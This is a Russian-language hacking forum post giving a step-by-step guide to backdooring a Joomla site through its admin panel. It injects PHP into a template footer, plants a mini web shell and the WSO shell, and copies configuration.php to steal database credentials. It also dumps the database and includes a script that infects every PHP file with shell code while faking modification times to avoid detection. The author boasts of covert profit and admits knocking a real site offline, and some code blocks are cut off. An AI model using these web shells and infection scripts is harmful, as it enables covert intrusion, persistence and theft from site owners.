HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.03.2017, 02:44
centr
Новичок
Регистрация: 31.01.2017
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

Приветствую Граждане\Товарищи!

Это будет что-то вроде продолжение этого "Joomla не много WAF(куча барахла) SQL Injection" поста, так сказать вторая серия из не много серийного сериала про\о Joomla.

В этой серии мы поговорим о том как:
  1. Внедрить свой PHP код в какой-нибудь файл Joomla и выполнить его.
  2. Прочитать конфиг Joomla (configuration.php).
  3. Залить полноценный Shell(WSO).
  4. Написать небольшой скриптик(php) для заражения всех файлов этого движка.
И так давайте представим (в принципе что тут представлять та...) что мы получили доступ в административную панель какого нибудь сайта на движке Joomla. Вот оно (почти) счастье (а для кого то и в правду счастье), у нас есть возможность редактировать, добавлять, удалять материал и пользователей с этого ресурса, мы можем играться с внешним видом, добавлять различные категории, редактировать меню, вообщем управлять этим ресурсом как будто своим (правда только до тех пор пока настоящий админ ни очнётся).

Вот только не надо шкодничать и пакостить, это подло и не уважительно прежде всего по отношению к себе, да и какой смысл поганить чужой труд? Как будто в песочнице весь день "Маша" лепила калачик из песка, но тут пришёл "Вася", нашёл кошачью какашку в этом песке, пока "Маша" не видит попытался вставить в этот калачик и развалил этот песочный калачик.

Цитата:


Вася сказал(а):



Mama, mama, im a CRIMINAL!

Цитата:


Маша сказал(а):



Vasya a shit has broken my sand kalatch...

Цитата:


Mama громко на всю песочницу сказал(а):



Vasya go to wash hands, they at you in "sHit"!

"Вася" моет руки ощущая запах какашки на своих пальцах и жжение на своей пятой точке от мамкиной руки, а "Маша" плачет пытаясь сделать\восстановить свой калачик.

А ведь "Вася" мог взять палочку, аккуратно проковырять дырочку в этом калачике и этой же палочкой вставить эту какашку! "Маша" бы ни чего не заметила и продолжила бы играться с этим калачиком, даже и не подозревая о вставленной каке, а "Вася" бы улыбался наблюдая за этой "Машей" и её калачиком с сюрпризом, при этом не надо было бы мыть руки и не горела бы пятая точка.

Может быть не совсем удачная аллегория, но смысл примерно тот же, только в нашем случае мы можем не только тихо, молча улыбаться, но ещё и иметь какую либо выгоду для себя!
В общем Важно всё сделать тихо и не заметно для владельца ресурса, так чтобы он (и не только) даже и не подозревал что кто-то и что-то сделал с его калачиком.

Ну, понеслась....

Внедрение PHP кода в joomla

По умолчанию у Joomla вход в административную панель находится по адресу(Но попадаются "полу-прошаренные" владельцы ресурса которые переписывают путь к этой панели):

Код:


Код:
https://victimSite.en/administrator/index.php
Авторизуемся при помощи имеющихся данных администратора и первым делом идём за информацией, ведь не даром говорят "Кто владеет информацией, тот владеет миром!":

Главное меню -> Системная информация:



Переходим на вкладку с PHP настройками и проверяем состояние функции загрузки файлов:





У нас всё good (но бывает и не good), переходим на вкладку:





Тут как видно все директории доступны для записи.

Код:


Код:
Directory     Status
 
administrator/components     Writable 
administrator/language     Writable 
administrator/language/en-GB     Writable 
administrator/language/it-IT     Writable 
administrator/language/overrides     Writable 
administrator/manifests/files     Writable 
administrator/manifests/libraries     Writable 
administrator/manifests/packages     Writable 
administrator/modules     Writable 
administrator/templates     Writable 
components     Writable 
images     Writable 
images/banners     Writable 
images/icone     Writable 
images/sampledata     Writable 
language     Writable 
language/en-GB     Writable 
language/it-IT     Writable 
language/overrides     Writable 
libraries     Writable 
media     Writable 
modules     Writable 
plugins     Writable 
plugins/authentication     Writable 
plugins/captcha     Writable 
plugins/content     Writable 
plugins/editors     Writable 
plugins/editors-xtd     Writable 
plugins/extension     Writable 
plugins/finder     Writable 
plugins/jmonitoring     Writable 
plugins/joomlaadminmobile     Writable 
plugins/josetta_ext     Writable 
plugins/quickicon     Writable 
plugins/search     Writable 
plugins/system     Writable 
plugins/user     Writable 
plugins/xmlrpc     Writable 
templates     Writable 
configuration.php     Writable 
cache (Cache Directory)        Writable 
administrator/cache (Cache Directory)        Writable 
/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/logs (Log directory)        Writable 
/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/tmp (Temp directory)        Writable
В принципе на данном этапе это всё что нам необходимо знать, всё остальное мы получим из наиболее достоверного источника, а именно из файла настройки "configuration.php".

Самый простой способ добавить свой PHP код в Joomla, это поправить какой-нибудь доступный для редактирования файл шаблона, лучше конечно редактировать какой-нибудь файл ошибки, но бывают случаи когда такая роскошь не доступна и приходится брать то что есть.

Идём редактировать шаблон:









Ищем текущий шаблон:









И вот оно то самое окошечко в нашу "Европу" через которое мы будем добавлять свой PHP код.





Так как это главная страница и нам не известно кто там шастает по сайту в этот самый ответственный момент, необходим выполнять свои действия как можно скрытней для всех посетителей и пользователей ресурса, дабы не спалиться.

Для этого опускаемся в самый низ страницы, поближе к блоку с копирайтами и после последнего

PHP:


Код:
copyright©
Прям в блок с копирайтом вставим строчку php кода, тыкнем кнопочку "Save" и посмотрим как он будет отвечать:

PHP:


Код:
copyright©
И в самом низу страницы в копирайтах видим новую строку:

Код:


Код:
copyright© /var/www/club***nap**o/data/www/club***nap**oli**met**a.com
Vincen***zo*Emma***nu*elCa**s**t*el**la*no
Отлично наш код выполняется и не вызывает ни каких ошибок!

Давайте напишем не большой PHP код который создаст отдельный файл на этом хосте и запишет туда наш php код, это и будет наш мини Shell.

PHP:


Код:
';
// Проверяем существует ли наш файл на хосте
if (!file_exists($f_Jooomla_SpecLib)) { // если нет
// то создаём
  $fwcon=fopen($f_Jooomla_SpecLib,'a+');
// вписываем в него наш код
  fwrite($fwcon,$Joomla_Secure_Keys_C);
 // и закрываем тем самым сохраняя его.
      fclose($fwcon);
}
?>
Как я уже говорил Perl я не знаю, но это PHP, это не Perl! Так вот PHP я тоже не знаю, хотя и довольно часто его использую для написания различных скриптов которые в основном выполняются на сервере. Ребята учить языки в процессе написания кода самое интересное и полезное дело, правда не всегда получается писать правильный код, в основном это обычно портяночный псевдокод, но за то в процессе обучения этот код постоянно модифицируется.

Этот скрипт создаст наш мини shell в директории "/plugins/content/" и именем "JoomSysShell.php", ну и соответственно впишет в него код, после всех этих плясок наш мини shell будет доступен по адресу: https://victimSite.com/plugins/content/JoomSysShell.php
В панели управления клацаем кнопку "Save", переходим и проверяем его работоспособность:

Код:


Код:
https://victimSite.com/plugins/content/JoomSysShell.php?com_shell=passthru(whoami)




Отлично! У нас есть свой личный пускай и мини, но шел! Основная задача нашего топика Выполнена и можно(смело) идти ложиться спать, однако вместо этого отправлюсь на кухню, сварю себе кофейку, вернусь и мы продолжим.

Ну что кофеёк бодрящий выпит, мы же не много встряхнулись\взбодрились и готовы продолжить.

Чтение конфигурационного файла joomla(configuration.php)

Читать этот файл мы будет с помощью нашего мини шела, вообще этот шел позволяет выполнять код PHP, а значить мы можем выполнять и системные команды, но сейчас речь не об этом. Самый просто способ чтения PHP файла ( на мой взгляд ) это его копирования (в другую удобную для нас директорию) с другим расширением, к примеру txt и уже последующие чтение как обычного txt файла (в адресную строку вбиваем):

Код:


Код:
https://victimSite.com/plugins/content/JoomSysShell.php
?com_shell=copy($_SERVER['DOCUMENT_ROOT'].'/configuration.php', getcwd().'/1.txt')
Функцией "copy()" мы скопировали из корневой директории("$_SERVER['DOCUMENT_ROOT']") ресурса файл '/configuration.php' в ту же директорию где находится наш мини шел (getcwd()), но с другим именем и расширением ('/1.txt'), что по сути даёт нам право просматривать этот файл через наш браузер как обычный текстовый файл!

Код:


Код:
https://victimSite.com/plugins/content/1.txt
И мы видим всё содержимое этого файла:

PHP:


Код:

Использовать точно так же как и на первом этапе этого топика, shell будет доступен по адресу:

Код:


Код:
https://siteVictime.en/plugins/user/shell.php
Либо через наш мини шел ускорить весь процесс:

Код:


Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=copy($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt', $_SERVER['DOCUMENT_ROOT'].'/plugins/user/shell.php')
И удаляем загруженный ранее через панель файл:

Код:


Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt')
Имея свой мини шел на борту хоста можно обойтись и без панели, ибо зачем нам там лишний раз ковыряться, у нас есть прямой доступ интерпретатору PHP и частично к самой системе борта.
И тут всё очень просто! Тут опять-таки несколько вариантов, все расписывать не буду (ибо пост и так довольно содержательный), самый быстрый и самый простой это написать HTML документ и через него методом POST отправить необходимый файл:

HTML:


Код:

Параметр "action" содержит прямую ссылку с PHP кодом который будет выполняться на стороне сервера, то есть при нажатии на кнопку "Upload" методом POST мы обратимся к нашему мини шелу с командой принять и переместить файл в указанном месте:

Код:


Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=move_uploaded_file($_FILES['nmfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php')
В данном случае это:

Код:


Код:
$_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php'
То есть наш свежи залитый шел будет доступен по адресу:

Код:


Код:
http://club***nap**oli**met**a.com/plugins/captcha/cap.php
Думаю на данном этапе этого даже более чем достаточно.

Перед следующим этапом не помешает сделать BackUp всех файлов и БД в придачу. По сути нам просто необходимо создать архив в котором будут находиться все файлы сайта и база MYSQL.
С дампом БД так же как и с бэком всех файлов может разобраться shell, к примеру WSO без проблем делает дамп, так же умеет архивировать все файлы, данные для авторизации в MYSQL мы получили на втором этапе этого топика.

Сделать backup файлов\ДБ можно в помощь админу, да так что бы у нас тоже было, ну вдруг что-то пойдёт ни так... (Да ребята мы можем уничтожить ресурс, по крайней мере под какать так что нужно будет восстанавливать с backup'a созданного ранее ( если он конечно был создан).Ибо в прошлый раз писав скриптик заражения движка( а дело было в пятом часу утра), пропустил один символ(всего один лишь символ) и норвежская женская футбольная команда лишилась своего сайта, лежит этот ресурс уже третий день, когда был на хосте мне на глаза не попалось ни одного бэка, возможно сайт ушёл в полное небытиё...(С кем не бывает?)).
В нашем случае у админа есть плагин:



Думаю бэк у него есть, но для себя я все равно его сделаю и скачаю, ну так что бы был.
Для дампа БД можно использовать вот этот скрипт:

PHP:


Код:
0){
        $query_ins = "\nINSERT INTO `".$table[0]."` VALUES ";
        fwrite($fp, $query_ins);
        $i=1;
        while( $row = mysql_fetch_row($r_ins) )
        { $query="";
            foreach ( $row as $field )
            {
                if ( is_null($field) )$field = "NULL";
                else $field = "'".mysql_escape_string( $field )."'";
                if ( $query == "" ) $query = $field;
                else $query = $query.', '.$field;
            }
            if($i>$insert_records){
                            $query_ins = ";\nINSERT INTO `".$table[0]."` VALUES ";
                            fwrite($fp, $query_ins);
                            $i=1;
                            }
            if($i==1){$q="(".$query.")";}else $q=",(".$query.")";
            fwrite($fp, $q); $i++;
        }
        fwrite($fp, ";\n");
    }
    }
} fclose ($fp);

if($gzip||$stream){ $data=file_get_contents($dump_dir."/".$dump_name);
$ofdot="";
if($gzip){
    $data = gzencode($data, 9);
    unlink($dump_dir."/".$dump_name);
    $ofdot=".gz";
}

if($stream){
        header('Content-Disposition: attachment; filename='.$dump_name.$ofdot);
        if($gzip) header('Content-type: application/x-gzip'); else header('Content-type: text/plain');
        header("Expires: 0");
        header("Cache-Control: must-revalidate, post-check=0,pre-check=0");
        header("Pragma: public");
        echo $data;
}else{
        $fp = fopen($dump_dir."/".$dump_name.$ofdot, "w");
        fwrite($fp, $data);
        fclose($fp);
    }
}
 ?>
Его я честно нашёл на просторах рунета, в данный момент просто нет желания заморачиваться с писаниной дампа ( в голове вертится не много другой алгоритм), по поводу бэка файлов, можно написать небольшой скриптик:

PHP:


Код:
buildFromDirectory($dir);
?>
Закинуть, перейти на него и не много подождать ( в течение пятнадцати минут архив должен быть готов, тут в принципе зависит от объёма данных.), архив создать в корне сайта, скачать можно перейдя по ссылке:

Код:


Код:
https://victimSite.com/ibackup.tar
Инфицируем все php файлы находящиеся на сайте

Сейчас мы замутим скриптик который поможет нам закрепится на этом сайте, по сути он заразит кодом нашего мини шела каждый php файл на этом сайте, тем самым усложнит ситуацию для админа.Если всё сделать тихо и почистить за собой все логи, убрать все следы своего прибывания ( по крайней мере видимые ), то ни кто и не заподозрит что кто то заразил его сайт, а мы тем временем сможем получать свою выгоду используя его ресурс.

PHP:


Код:
';
    //получаем время последнего изменения файла
    $dt_f=date ("F d Y H:i:s.",filemtime($flName));
        //получаем полное содержимое файла
        $current = file_get_contents($flName);     
// Пишем содержимое обратно в файл, но прежде всего вставляем строчку с шел кодом
file_put_contents($flName, $str_shell."\n".$current);
//Ставим обратно время последнего изменния на то которое было получено ранее
touch($flName, $dt_f);
// возвращаем имя файла и его параметра для обращения к шел коду
        return $flName.'?'.$rn_p.'=passthru(dir)';
     
    }
 
    // это функция рекурсивного сканирования директорий на предмет файлов подходящих заданному параметру
    // в нашем случае это расширение PHP
function find_all_files($dir)
{
    $root = scandir($dir);// функция scandir сканирует директорию
    foreach($root as $value) // создаём рекурсию для просмотра под директорий
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}

$all=find_all_files($_SERVER['DOCUMENT_ROOT']);// как обычно указываем корневую дерикторию к нашему сайту

if($all){
     foreach($all as $fnm){
         if (pathinfo($fnm,PATHINFO_EXTENSION)=='php'){// получаем расширение файла и проверяем его на совпадение заданному
         echo 'PHP File includin:
'; // если всё ок, то пишем строчку и передаём в функцию изминения файла
          echo $fnm.'
'.wrtStrShell($fnm).'
'; // выводим полученную от нашей функции строку

}       
}
}

?>
Заливаем на сайт, запускаем, записываем вывод в какой-нибудь текстовый файлик, сохраняем и улыбаемся, улыбаемся потому что теперь у нас есть доступ к этому сайту при обращении к любому файлу этого движка!

Ни забудьте удалить скрипт инфицирования с сервера ( ибо он там не нужен), а заодно теперь можно удалить и ранее залитые шелы, ибо они тоже только создают лишние подозрения.
Вывод инфицирующего скрипта можно увидеть

P.S. Каюсь местами дал лишка, но прошу простить, дело было в ночное время.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.